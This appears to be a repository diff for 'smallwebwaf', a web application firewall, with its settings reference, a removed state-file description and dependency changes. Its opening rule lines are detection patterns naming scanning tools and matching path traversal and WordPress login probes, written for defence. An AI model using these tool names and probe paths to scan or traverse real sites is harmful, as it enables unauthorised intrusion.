scanner-agent user_agent ban (?i)\b(sqlmap|nikto|nuclei|masscan|zgrab|wpscan)\b
path-traversal uri block (\.\./){2,}
empty-agent user_agent log ^$
```
## A file of your own
`discriminator` reads the rule files in its own container. Rules of your own go
in a file named to sort after the default, such as `50-site.rules`:
```
# 50-site.rules: WordPress probes, which this site never serves
wp-probe path ban (?i)^/(wp-login\.php|xmlrpc\.php|wp-admin/)
```
A `Dockerfile` built on the `smallwebwaf` image, for `discriminator` to run
from, adds it:
```dockerfile
COPY 50-site.rules /etc/sww/rules.d/50-site.rules
```
Or mount it there. A `path` rule applies on every site behind that
`discriminator`.
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# Settings
Every setting, its default and the values it takes, in the groups of "Settings"
in [`SPEC.md`](../SPEC.md). That section gives the conventions, the settings
that take `off`, the `_FILE` form, and what each group does and why.
The settings that start with `SWW_` are `discriminator`'s. Those that start with
`SWRP_` are `rproxy`'s, and are under "`rproxy`" below. `SWW_COMMAND` chooses
between the two (see "The image's command" below).
## Forms of values
- A duration is Go's syntax, with `d` for days: `90s`, `15m`, `24h`, `7d`. Zero
and negative durations are refused.
- A size is a number of bytes with an optional `K`, `M` or `G`, which are powers
of 1024, so `1K` is 1024 bytes. Examples: `512K`, `100M`, `5G`.
- A count is a whole number of requests, such as `1000`.
- A list is comma separated, with spaces around items ignored. An empty item is
refused.
- A netblock is an address and a prefix length, such as `10.0.0.0/8`. A bare
address stands for itself alone.
- A country is a two-letter code of ISO 3166-1, in either case: `de` and `DE`
are the same. `xk` stands for Kosovo. A code that is not a country is refused,
such as `nk` (North Korea is `kp`) or the withdrawn `su`.
- An AS number is `AS` and the number, in either case, such as `AS64496`.
- A percentage is a whole number from 0 to 100.
- A path prefix starts with `/`, such as `/assets/`.
## Core
- `SWW_LISTEN_ADDR` (default `:8080`): where `discriminator` listens: `:` and a
port, such as `:9000`. Leave the host out (see "Ports" in
[`SPEC.md`](../SPEC.md)).
- `SWW_INSTANCE_NAME` (default: the container's host name): the `instance` name
in each line `discriminator` logs, and in each alert and metric, such as
`fsn1/discriminator`. Valid UTF-8. No control character while
`SWW_ALERT_NTFY_URL` is set. 1 to 48 printable ASCII characters without a
space while `SWW_LOG_REMOTE_URL` is set and `SWW_LOG_REMOTE_APP_NAME` is not.
- `SWW_MODE` (default `enforce`): `enforce` or `observe`.
- `SWW_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6 client's
group, from 32 to 128.
- `SWW_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a whole
number above zero.
- `SWW_MAX_BANS` (default `5000`): how many of its own bans `discriminator`
keeps, a whole number above zero.
## Tokens
- `SWW_ADMIN_TOKEN` (default unset): the token for the ban endpoints and
`/_sww/clients/<ip>`. At least 32 characters.
- `SWW_METRICS_TOKEN` (default unset): the token for `/_sww/metrics`. At least
32 characters.
## State files
- `SWW_STATE_DIR` (default `/var/lib/sww`): the directory of the state files, an
absolute path that exists and can be written.
- `SWW_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
written after a ban is made, lifted or made permanent. A duration.
- `SWW_STATE_COUNTER_INTERVAL` (default `15m`): how often every state file is
written. A duration.
## Logging
- `SWW_LOG_LEVEL` (default `info`): the least severe of `discriminator`'s own
messages that are written: `debug`, `info`, `warn` or `error`.
- `SWW_LOG_REQUEST_HEADERS` (default
`accept,accept-language,accept-encoding,content-type,origin,range`): the
request headers recorded in the log line, in either case. `Host` and
`Transfer-Encoding` are refused; the host is the field `host`.
- `SWW_LOG_REMOTE_URL` (default unset): a syslog server that also gets every
line written to stdout: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://`,
each with a host and a port and nothing more.
- `SWW_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates that
a `syslog+tls` server's certificate must chain to, instead of the host's own.
A file that cannot be read, or holds no certificate, is refused.
- `SWW_LOG_REMOTE_BUFFER` (default `10000`): the most lines held while they wait
to be sent, a whole number above zero.
- `SWW_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`,
`user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, `news`, `uucp`, `cron`,
`authpriv`, `ftp`, or `local0` to `local7`.
- `SWW_LOG_REMOTE_APP_NAME` (default: `SWW_INSTANCE_NAME`): the app name in each
syslog record, 1 to 48 printable ASCII characters without a space.
## Metrics
- `SWW_METRICS_TOP_N` (default `50`): how many AS numbers and how many countries
get series of their own. A whole number above zero.
## Static lists
- `SWW_ALLOW_NETS` (default empty): netblocks you trust, such as your monitoring
(see step 4 in [`SPEC.md`](../SPEC.md)).
- `SWW_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients are
exempt from rate limiting and the byte limits.
- `SWW_DENY_NETS` (default empty): netblocks whose clients are refused (see step
4 in [`SPEC.md`](../SPEC.md)).
## Request rate limits, per client
The request past one of these limits is refused, and the client is banned.
- `SWW_RATE_LIMIT_PER_MINUTE` (default `120`, 2 a second): the most requests a
client may make in a minute. A count or `off`. The default leaves room for a
person opening two pages at once with an empty cache, up to 60 files each.
- `SWW_RATE_LIMIT_PER_HOUR` (default `1500`): the most requests a client may
make in an hour. A count or `off`. It is the main limit against scrapers. A
person reading a site for an hour, a page every 20 seconds, makes about 900. A
scraper making one request every 2 seconds makes 1,800 an hour, more than the
limit.
- `SWW_RATE_LIMIT_PER_DAY` (default `6000`): the most requests a client may make
in a day. A count or `off`. The default is four hours at the hour limit. A
scraper making one request every 10 seconds makes 8,640 a day, more than the
limit.
- A CI runner asks its code forge for work all day and can pass the limits. Put
the runners' addresses in `SWW_RATE_LIMIT_EXEMPT_NETS`. Do the same for a
network where many people share one address, such as an office.
- Counting cannot catch a client that stays under all three limits (see "Request
rate limits, per client" in [`SPEC.md`](../SPEC.md)).
- `SWW_RATE_LIMIT_EXEMPT_PATHS` (default empty): path prefixes exempt from rate
limiting and the byte limits, such as `/assets/`.
## Byte limits, per client
These count body bytes, never headers. What the visitor sent over a WebSocket
counts as request bytes, and what the app sent as response bytes. The bytes
counted for a request and its response are added to the client's total once the
response has ended. The request that takes a client's total past a limit is not
cut off; the client is banned.
- `SWW_BYTES_LIMIT_PER_MINUTE` (default `off`), `SWW_BYTES_LIMIT_PER_HOUR`
(default `50G`) and `SWW_BYTES_LIMIT_PER_DAY` (default `100G`): the most bytes
counted for a client in each window, a size or `off`. `SWW_BYTES_COUNT` says
which bytes count: response bodies, request bodies or both. The request that
passes the limit is not cut off, and the client is banned when its response
ends.
- `SWW_BYTES_COUNT` (default `both`): what the byte limits and the byte anomaly
thresholds count: `response`, the app's response bodies; `request`, the
visitors' request bodies; or `both`. What the visitor sent over a WebSocket
counts as request bytes, and what the app sent as response bytes.
## Lookup of AS number and country
- `SWW_LOOKUP_SOURCE` (default `geojs`): `geojs`, `file` or `off`. `off` stops
the start while a setting that needs a lookup is set:
- `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES`;
- `SWW_ADD_LOOKUP_HEADERS`;
- `SWW_TAG_DENY` or `SWW_TAG_LIMIT_PERCENT` naming a `country=` tag, or an
`asn=` tag while `SWW_ROUTEWATCH_URL` is unset;
- the two byte percentage lists and `SWW_ASN_LIMIT_PERCENT_URL`;
- `SWW_UNKNOWN_LIMIT_PERCENT` below `100`;
- an anomaly threshold per AS number.
- `SWW_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in its
`.mmdb` form, for `SWW_LOOKUP_SOURCE=file`.
- `SWW_LOOKUP_TIMEOUT` (default `800ms`): how long a request waits for its
client's first answer from GeoJS, and how long a request to GeoJS may take. A
duration; never `off`.
- `SWW_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the app
the client's AS number in `X-Client-ASN` and its country in
`X-Client-Country`.
## Country list
- `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` (default empty): when set, the only
countries whose clients get through, such as `us,de`. A country whose
`country=` tag is in `SWW_TAG_DENY` stops the start.
## Request tags
Every request gets tags from what `discriminator` knows of its client. See
"Request tags" in [`SPEC.md`](../SPEC.md).
- `SWW_TAG_LISTS` (default empty): address lists that each add a tag, as
`name=URL` pairs, such as `torexit=https://example.com/tor.txt`. A name is the
tag, and may hold `=`, such as `vpn=mullvad`. Each list is an `http` or
`https` URL fetched like a blocklist. A name or URL listed twice is refused.
So is a URL that is also in `SWW_BLOCKLIST_URLS`, `SWW_ASN_LIMIT_PERCENT_URL`,
or the CrowdSec decision list.
- `SWW_TAG_DENY` (default empty): tags whose requests are refused, such as
`torexit,country=CN`. A tag listed twice, an `asn=` tag without a number, or a
`country=` tag without a country, is refused.
- `SWW_TAG_LIMIT_PERCENT` (default empty): tags that lower a client's limits, as
tag and percentage pairs, such as `vpn:50,asn=14061:25`. A percentage is from
`1` to `99`, of every rate limit and byte limit. The lowest percentage among a
client's tags applies. A tag listed twice is refused. So is
`exploitsignature`: a request gets that tag after the rate limits have counted
it.
- `SWW_ROUTEWATCH_URL` (default unset): the `http` or `https` URL of a
routewatch instance. [routewatch](https://git.eeqj.de/sneak/routewatch) is a
service that gives an address's announced netblock and origin AS.
`discriminator` asks it about each client, in the background, and adds the
tags `asn=<number>` and `prefix=<netblock>` from its answer. While it is
unset, nothing asks routewatch and no request gets a `prefix=` tag.
`SWW_TAG_DENY` and `SWW_TAG_LIMIT_PERCENT` accept tags in either case. A tag
that no request can get stops the start. A request can get only these:
- a name in `SWW_TAG_LISTS`;
- an `asn=` or `country=` tag;
- a `prefix=` tag with a netblock, while `SWW_ROUTEWATCH_URL` is set. It matches
only that exact announced netblock, such as `prefix=192.0.2.0/24`;
- a `dnsbl=` tag of a zone in `SWW_DNSBL_ZONES`, in lower case, with a key
masked as the `reputation` field shows it;
- `abuseipdb`, while `SWW_ABUSEIPDB_KEY` is set;
- `exploitsignature`, in `SWW_TAG_DENY` only, while `SWW_RULES_ENABLED` is
`true`, or while neither `SWW_WAF_MODE` nor `SWW_WAF_ANOMALY_THRESHOLD` is
`off`.
`crowdsec` stops the start in both settings, because a CrowdSec decision refuses
the request first.
## Biased thresholds
- `SWW_ASN_BYTES_PERCENT` and `SWW_COUNTRY_BYTES_PERCENT` (default empty): a
percentage of the byte limits alone, for the AS numbers or countries listed,
such as `AS14061:50` or `cn:25`. It takes the place of the percentage
`SWW_TAG_LIMIT_PERCENT` gives their `asn=` or `country=` tag. An AS number or
country listed twice is refused.
- `SWW_UNKNOWN_LIMIT_PERCENT` (default `100`): the percentage for a client the
lookup cannot place.
- `SWW_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of a
text file with one AS number and percentage on each line, such as
`AS64496:50`. Each entry counts like an `asn=` tag in `SWW_TAG_LIMIT_PERCENT`.
A URL that is also in `SWW_BLOCKLIST_URLS` is refused.
## Attack detection
- `SWW_RULES_DIR` (default `/etc/sww/rules.d`): the directory of the rule files.
- `SWW_RULES_ENABLED` (default `true`): `false` reads no rule file.
- `SWW_TRAP_PATHS` (default empty): paths only scanners ask for, such as
`/wp-login.php,/xmlrpc.php`. Each starts with `/` and holds no `?`.
- `SWW_WAF_MODE` (default `block`): `off`, `detect` or `block`.
- `SWW_WAF_PARANOIA_LEVEL` (default `1`): the Core Rule Set's paranoia level,
from 1 to 4.
- `SWW_WAF_ANOMALY_THRESHOLD` (default `5`): the score at which a request is a
match. A whole number above zero, or `off`.
- `SWW_WAF_DISABLED_RULES` (default
`920340,920420,920440,920640,930130,930140`): the ids of Core Rule Set rules
to switch off. Each a whole number above zero. An id from 900000 to 900999 is
refused: those are the rules that set the Core Rule Set up, and
`smallwebwaf`'s own.
- `SWW_WAF_EXEMPT_PATHS` (default empty): path prefixes the Core Rule Set does
not inspect.
- `SWW_WAF_BODY_LIMIT` (default `off`): `off`, or how much of a request body the
Core Rule Set reads, a size of at most `64K`. A question carries no more of a
body than 64 KiB, and the Core Rule Set reads at most 64 KiB less one byte of
it, whatever the value (see "The answer" in [`SPEC.md`](../SPEC.md)).
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` (default unset): a file of Core Rule Set
exclusions, written as Coraza directives. It is loaded before the Core Rule
Set's rules, so it holds only `SecAction` and `SecRule` lines that exclude
with `ctl:ruleRemoveTargetById` or `ctl:ruleRemoveById`. A file that cannot be
read or does not parse stops the start, whatever `SWW_WAF_MODE` is. So does a
file that names a number from 900000 to 900999 outside a comment, alone or in
a range. So does a directive that removes or changes rules as the file loads,
such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded
yet. It has no `_FILE` form.
- `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get
in a minute from a rule file, a trap path or the Core Rule Set, a count or
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
## Ban lengths, response and scope
- `SWW_BAN_RESPONSE` (default `403`): `403`, `429` or `close`.
- `SWW_LIMIT_BAN_DURATION` (default `1h`): the ban for a first broken limit. A
duration.
- `SWW_LIMIT_BAN_REPEAT_WINDOW` (default `24h`): the time after a ban ends
within which breaking a limit again lengthens the next ban. A duration.
- `SWW_MAX_BAN_DURATION` (default `7d`): the longest ban for a broken limit; one
that would be longer is permanent. A duration.
- `SWW_ATTACK_BAN_DURATION` (default `7d`): the ban for a first clear sign of
attack. A duration.
- `SWW_BAN_SCOPE_V4_PREFIX` (default `32`): how much a ban on an IPv4 client
covers: the prefix length of its netblock, from 0 to 32.
## Reputation
- `SWW_BLOCKLIST_URLS` (default empty): blocklists to fetch, such as
`https://www.spamhaus.org/drop/drop.txt`. Each an `http` or `https` URL
without a user or a fragment. A URL listed twice is refused.
- `SWW_BLOCKLIST_REFRESH` (default `24h`): how long a list waits after its last
try before it is fetched again. A duration of `1h` or more.
- `SWW_BLOCKLIST_ACTION` (default `deny`): `deny`, `limit:<percent>` or `log`.
- `SWW_DNSBL_ZONES` (default empty): the DNS blocklists to ask, such as
`dnsbl.dronebl.org`. Each a DNS name of at most 189 characters. A Spamhaus
zone carries its key, as in `<key>.xbl.dq.spamhaus.net`. A zone listed twice
is refused, whatever its case or key.
- `SWW_DNSBL_RESOLVER` (default unset): the resolver to ask the zones through,
such as `192.0.2.53` or `[2001:db8::53]:5353`. An IP address with an optional
port, 53 when none is given. Unset, the host's resolver is used.
- `SWW_ABUSEIPDB_KEY` (default unset): the key of your AbuseIPDB account. A
control character in it is refused.
- `SWW_ABUSEIPDB_MIN_SCORE` (default `75`): the least abuse confidence score,
from 0 to 100, that is a hit.
- `SWW_ABUSEIPDB_DAILY_BUDGET` (default `900`): the most checks made in a day, a
whole number above zero. AbuseIPDB's free accounts may make 1,000.
- `SWW_CROWDSEC_LAPI_URL` (default unset): the local API of a CrowdSec engine
you run, such as `http://172.17.0.1:8080`. An `http` or `https` URL without a
user or a fragment; its decision list is at `v1/decisions` under it. Set
without the key, it is refused. So is a decision list URL that is also in
`SWW_BLOCKLIST_URLS`, or that is `SWW_ASN_LIMIT_PERCENT_URL`.
- `SWW_CROWDSEC_LAPI_KEY` (default unset): the key the engine gave for
`smallwebwaf`, as `cscli bouncers add smallwebwaf` prints it. Set without the
URL, it is refused.
- `SWW_REPUTATION_ACTION` (default `limit:25`): `deny`, `limit:<percent>` or
`log`, for DNS blocklist and AbuseIPDB hits.
- `SWW_REPUTATION_CACHE_TTL` (default `24h`): how long a zone's verdict or
AbuseIPDB's score is used. A duration.
- `SWW_REPUTATION_TIMEOUT` (default `2s`): how long a query to a zone or a check
with AbuseIPDB may take. A duration.
## Alerting
- `SWW_ALERT_WEBHOOK_URL` (default unset): the webhook that receives each alert
as a JSON object. An `http` or `https` URL without a user or a fragment.
- `SWW_ALERT_WEBHOOK_HEADERS` (default empty): headers sent with each post, such
as `Authorization:Bearer 0123456789abcdef`. A list of name, `:` and value. A
value cannot hold a comma.
- `SWW_ALERT_SLACK_WEBHOOK_URL` (default unset): the Slack incoming webhook that
receives each alert as a message, checked as the webhook URL is.
- `SWW_ALERT_NTFY_URL` (default unset): the ntfy topic that receives each alert,
as the topic's full URL, such as `https://ntfy.sh/my-alerts`, checked as the
webhook URL is.
- `SWW_ALERT_NTFY_TOKEN` (default unset): an ntfy access token. A control
character in it is refused.
- `SWW_ALERT_EVENTS` (default
`ban,permanent_ban,core_rule_set_match,anomaly,reputation_hit,source_failure,file_error`):
the event types alerts are sent for, from those in [`alerts.md`](alerts.md)
but `summary`. Any other name is refused.
- `SWW_ALERT_COOLDOWN` (default `15m`): how long after an alert is sent its
repeats are held back. A duration or `off`.
- `SWW_ALERT_MAX_PER_HOUR` (default `60`): the most alerts sent in an hour. A
whole number above zero, or `off`.
## Anomaly thresholds
Each scope has four thresholds: the most requests and the most body bytes
counted in a minute and in an hour. The bytes are those `SWW_BYTES_COUNT` names.
Requests are counts, bytes are sizes. Each is `off` by default. The four
thresholds per client are:
- `SWW_ANOMALY_CLIENT_REQUESTS_PER_MINUTE`;
- `SWW_ANOMALY_CLIENT_REQUESTS_PER_HOUR`;
- `SWW_ANOMALY_CLIENT_BYTES_PER_MINUTE`;
- `SWW_ANOMALY_CLIENT_BYTES_PER_HOUR`.
The other scopes' names have another prefix before the same four endings, such
as `REQUESTS_PER_MINUTE`:
- `SWW_ANOMALY_NET_...`: per netblock around a client. Two settings give the
netblock's length:
- `SWW_ANOMALY_NET_V4_PREFIX` (default `24`, from 0 to 32) for an IPv4
client;
- `SWW_ANOMALY_NET_V6_PREFIX` (default `48`, from 0 to 128) for an IPv6
client.
- `SWW_ANOMALY_ASN_...`: per AS number.
- `SWW_ANOMALY_TOTAL_...`: the whole service.
- `SWW_WATCH_...`: each netblock in `SWW_WATCH_NETS`, as a whole.
`SWW_WATCH_NETS` (default empty) is a list of name, `=` and netblock, such as
`office=203.0.113.0/24,scraper-x=198.51.100.0/22`. An item without `=` or a
name, or with a bad netblock, is refused. So is a name used twice.
## Settings given as files
To give a token as a file, as "Tokens" under "Deployment" in
[`SPEC.md`](../SPEC.md) describes, make the file on the host:
```sh
mkdir -p /srv/app/tokens
openssl rand -hex 32 > /srv/app/tokens/metrics
chown 65532:65532 /srv/app/tokens/metrics
chmod 0400 /srv/app/tokens/metrics
```
Then mount its directory into the container read-only, and name the file:
```sh
docker run \
-v /srv/app/tokens:/etc/sww/tokens:ro \
-e SWW_COMMAND=discriminator \
-e SWW_METRICS_TOKEN_FILE=/etc/sww/tokens/metrics \
...
```
## Fixed limits
A few limits are fixed rather than settings:
- at most 100,000 GeoJS answers are kept;
- at most 100,000 DNS blocklist verdicts and 100,000 AbuseIPDB scores are kept;
- at most 1,000 DNS blocklist queries are under way at once;
- at most 20,000 anomaly counters are kept;
- each alert destination's queue holds at most 1,000 alerts;
- `discriminator` holds at most 10,000 answered requests awaiting their reports;
- `discriminator` refuses a request with more than 50 cookies or more than 100
header fields (see "Answering in time" under "`discriminator`" in
[`SPEC.md`](../SPEC.md));
- `rproxy` takes a request line and headers of at most 32 KiB, and closes a
kept-open connection idle for 120 seconds;
- `rproxy` reads at most 1 MiB of the body of `discriminator`'s answer, and
answers `502` to a longer one.
## `discriminator`'s answer and `rproxy`'s wait
`SWW_LOOKUP_TIMEOUT` is the longest a question waits on an outside source. Keep
it well under `rproxy`'s `SWRP_TIMEOUT_MS`, as the default is. No question waits
for `SWW_REPUTATION_TIMEOUT`, since the DNS blocklists and AbuseIPDB are asked
in the background (see "Answering in time" under "`discriminator`" in
[`SPEC.md`](../SPEC.md)).
## `rproxy`
`sww rproxy` reads the settings below and no others. They are read once at
start, and an invalid value stops the start. None can be given as a file, since
`rproxy` never touches disk. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what
they do.
A time here is a whole number of milliseconds above zero, such as `2000`.
- `SWRP_WAF_BACKEND` (required, no default): `discriminator`'s URL. An `http` or
`https` URL with a host and an optional port, and nothing more. `rproxy`
speaks HTTP/1.1 to it.
- `SWRP_TIMEOUT_MS` (default `2000`): how long `rproxy` waits for
`discriminator`'s answer, to a question and to a report. A time; never `off`.
- `SWRP_DEFAULT_DISPOSITION` (default `allow`): what is done with a request when
`discriminator` cannot be connected to, does not answer at all, or does not
answer within `SWRP_TIMEOUT_MS`. `allow` passes it to the app, and `deny`
answers `503`. It does not apply to an answer `discriminator` gives, such as
an error.
- `SWRP_MAX_REQUEST_SIZE` (default `100M`): the largest request body. A size or
`off`.
- `SWRP_MAX_RESPONSE_SIZE` (default `1G`): the largest response body. A size or
`off`.
- `SWRP_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may take to
send its request line and headers. It then also bounds, from the end of the
headers, the time until the app has been sent the whole request. A time or
`off`.
- `SWRP_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may take,
from the end of the request to its last byte reaching the visitor. A time or
`off`.
- `SWRP_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as `:9000`.
- `SWRP_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An `http` or
`https` URL with a host and an optional port, and nothing more.
- `SWRP_TRUSTED_PROXIES` (default `10.0.0.0/8,172.16.0.0/12,192.168.0.0/16`):
the netblocks whose `X-Forwarded-For` is believed. Set but empty, it trusts
nothing. A client outside these netblocks cannot claim another address. Where
other containers reach `rproxy` directly, or visitors on a private network
reach traefik, they can name another address in the header. Narrowing the
setting to traefik's own network closes that gap.
## The image's command
`SWW_COMMAND` (default `rproxy`) chooses what the image runs and what its health
check checks: `rproxy` or `discriminator` (see "Deployment" in
[`SPEC.md`](../SPEC.md)). It cannot be given as a file.
## Where earlier settings went
Nothing reads these names any more:
- `SWW_UPSTREAM_URL` is `SWRP_UPSTREAM_URL`.
- `SWW_TRUSTED_PROXIES` is `SWRP_TRUSTED_PROXIES`.
- `SWW_REQUEST_MAX_BYTES` is `SWRP_MAX_REQUEST_SIZE`.
- `SWW_RESPONSE_MAX_BYTES` is `SWRP_MAX_RESPONSE_SIZE`.
- `SWW_CLIENT_REQUEST_TIMEOUT` and `SWW_UPSTREAM_REQUEST_TIMEOUT` are
`SWRP_MAX_REQUEST_TIME_MS`, in milliseconds.
- `SWW_CLIENT_RESPONSE_TIMEOUT` and `SWW_UPSTREAM_RESPONSE_TIMEOUT` are
`SWRP_MAX_RESPONSE_TIME_MS`, in milliseconds.
- `SWW_CLIENT_IDLE_TIMEOUT` and `SWW_CLIENT_REQUEST_HEADER_MAX_BYTES` have no
setting. `rproxy` closes a kept-open connection idle for 120 seconds, and
takes a request line and headers of at most 32 KiB.
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@@ -1,105 +0,0 @@
# State files
The five JSON files in `SWW_STATE_DIR`, and what each holds. "Persistent state"
in [`SPEC.md`](../SPEC.md) says how they are written, read and edited. Each has
a top-level `version` of 1.
## `bans.json`
Active and past bans: every ban an admin made, and up to `SWW_MAX_BANS` of those
`discriminator` made. Per entry:
- `netblock`, `start` and `expires` (`null` for a permanent ban);
- `cause`: `attack`, `limit`, `admin` or `crowdsec`;
- `reason`: a short reason;
- `lifted`: when an admin lifted it, if one did;
- `notes`: the notes below.
An entry an admin adds needs `netblock`, `start` and `expires`; `reason`,
`notes` and `cause` may be left out, and the cause is then `admin`:
```json
{
"version": 1,
"bans": [
{
"netblock": "203.0.113.0/24",
"start": "2026-10-06T12:00:00Z",
"expires": null,
"reason": "probes for logins"
}
]
}
```
"Bans" in [`SPEC.md`](../SPEC.md) says how an edit lifts, keeps or forgets a
ban. The notes:
- `asn`, `as_name` and `country`: the client's, added when the lookup answers
(empty when lookups are off);
- for a broken limit, `kind` (`requests`, `bytes` or `refusals`), `limit`,
`window` and `count`: what the limit was on, the limit, its window and the
count reached;
- `limit_percent` and `limit_percent_setting`: the client's percentage of that
limit and the setting that gave it, when a setting lowered it;
- for a clear sign of attack, `rule_id` and `target`, or `trap_path`;
- `reputation`: the sources the client was on, each with its `source` and, for
AbuseIPDB, its `score`;
- `request`: the request that caused the ban, each text cut to 256 bytes:
- `time`, `method` and `host`;
- `path`, with its query string;
- `status` and `user_agent`;
- `requests` and `refused`: the netblock's requests since it was first seen, and
how many this ban has refused so far, kept up to date while the ban lasts;
- `earlier_bans`: how many earlier bans the netblock had, by cause.
## `clients.json`
Per client, one per line: its minute, hour and day counters, and its history
since it was first seen:
- the first and last time seen;
- the AS number, AS name and country last looked up, and when;
- total requests, and how many were forwarded and how many refused;
- body bytes of its requests, and of the responses it was sent;
- responses by status class;
- offences by kind: `limit`, `attack`, `blocked_by_block_rule` and
`blocked_by_core_rule_set`. A file may also hold `token_refused`, which is
kept, and which nothing adds to.
## `lookups.json`
GeoJS answers, one per line:
- `client`;
- `asn`, `as_name` and `country`;
- `answered`: when GeoJS answered;
- `used`: when the answer was last used.
## `reputation.json`
- the last good copy of each list fetched from a URL, with when it was last
tried;
- each DNS blocklist verdict still in use;
- AbuseIPDB's scores, and the checks spent today.
## `alerts.json`
- the anomaly counters;
- the alert cooldowns: for each event and netblock, source, file or anomaly
scope, when it was last sent and the count of repeats held back since;
- the alerts sent and held back in the current hour;
- the alerts waiting for each destination.
## Sizes
- `clients.json`: about 1 KiB per client, about 20 MiB at the default
`SWW_MAX_TRACKED_CLIENTS`. Written every 15 minutes, that is under 2 GiB of
disk writes a day.
- `bans.json`: about 1.2 KiB per ban, at most about 2.5 KiB, so about 6 MiB at
the default `SWW_MAX_BANS`. Written every 15 minutes, a full file comes to
about 600 MiB of writes a day, and a hundred new bans a day add about 600 MiB
more.
- `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when
full.
- `reputation.json` and `alerts.json`: usually a few MiB or less.
go.mod
+1 -39
View File
@@ -2,42 +2,4 @@ module sneak.berlin/go/smallwebwaf
go 1.26.0
require (
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0
github.com/corazawaf/coraza/v3 v3.8.1
github.com/fsnotify/fsnotify v1.10.1
github.com/hashicorp/golang-lru/v2 v2.0.7
github.com/maxmind/mmdbwriter v1.2.0
github.com/oschwald/maxminddb-golang/v2 v2.7.0
github.com/prometheus/client_golang v1.24.1
)
require (
github.com/beorn7/perks v1.0.1 // indirect
github.com/cespare/xxhash/v2 v2.3.0 // indirect
github.com/corazawaf/libinjection-go v0.3.3 // indirect
github.com/goccy/go-json v0.10.5 // indirect
github.com/goccy/go-yaml v1.19.2 // indirect
github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 // indirect
github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092 // indirect
github.com/kaptinlin/go-i18n v0.1.4 // indirect
github.com/kaptinlin/jsonschema v0.4.6 // indirect
github.com/kylelemons/godebug v1.1.0 // indirect
github.com/magefile/mage v1.17.0 // indirect
github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 // indirect
github.com/prometheus/client_model v0.6.2 // indirect
github.com/prometheus/common v0.70.1 // indirect
github.com/prometheus/procfs v0.21.1 // indirect
github.com/tidwall/gjson v1.18.0 // indirect
github.com/tidwall/match v1.1.1 // indirect
github.com/tidwall/pretty v1.2.1 // indirect
github.com/valllabh/ocsf-schema-golang v1.0.3 // indirect
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
golang.org/x/net v0.58.0 // indirect
golang.org/x/sync v0.23.0 // indirect
golang.org/x/sys v0.48.0 // indirect
golang.org/x/text v0.41.0 // indirect
google.golang.org/protobuf v1.36.11 // indirect
rsc.io/binaryregexp v0.2.0 // indirect
)
require github.com/hashicorp/golang-lru/v2 v2.0.7
go.sum
-95
View File
@@ -1,97 +1,2 @@
github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc h1:OlJhrgI3I+FLUCTI3JJW8MoqyM78WbqJjecqMnqG+wc=
github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc/go.mod h1:7rsocqNDkTCira5T0M7buoKR2ehh7YZiPkzxRuAgvVU=
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0 h1:tqFO1lfVpTiyWtlN618OXpZMfw+nnN0Q4///W5W+/HM=
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0/go.mod h1:nRuGXITxOPvsLF2VxaTB7pYok8QB8BitX3ZenXcUryY=
github.com/corazawaf/coraza/v3 v3.8.1 h1:dMV55FbMR2vOks/acrT43RShR+VkzU6jwp+XPdxay8o=
github.com/corazawaf/coraza/v3 v3.8.1/go.mod h1:nPVk2JqADYBcKLYvo9cRsr+z4JhanU0WniGhZZBZD6c=
github.com/corazawaf/libinjection-go v0.3.3 h1:NhbXKRfRpqKzBMzv8zpCcnjyEw7BCVhBOv9IPuBl7Fc=
github.com/corazawaf/libinjection-go v0.3.3/go.mod h1:Ik/+w3UmTWH9yn366RgS9D95K3y7Atb5m/H/gXzzPCk=
github.com/foxcpp/go-mockdns v1.2.0 h1:omK3OrHRD1IWJz1FuFBCFquhXslXoF17OvBS6JPzZF0=
github.com/foxcpp/go-mockdns v1.2.0/go.mod h1:IhLeSFGed3mJIAXPH2aiRQB+kqz7oqu8ld2qVbOu7Wk=
github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho=
github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo=
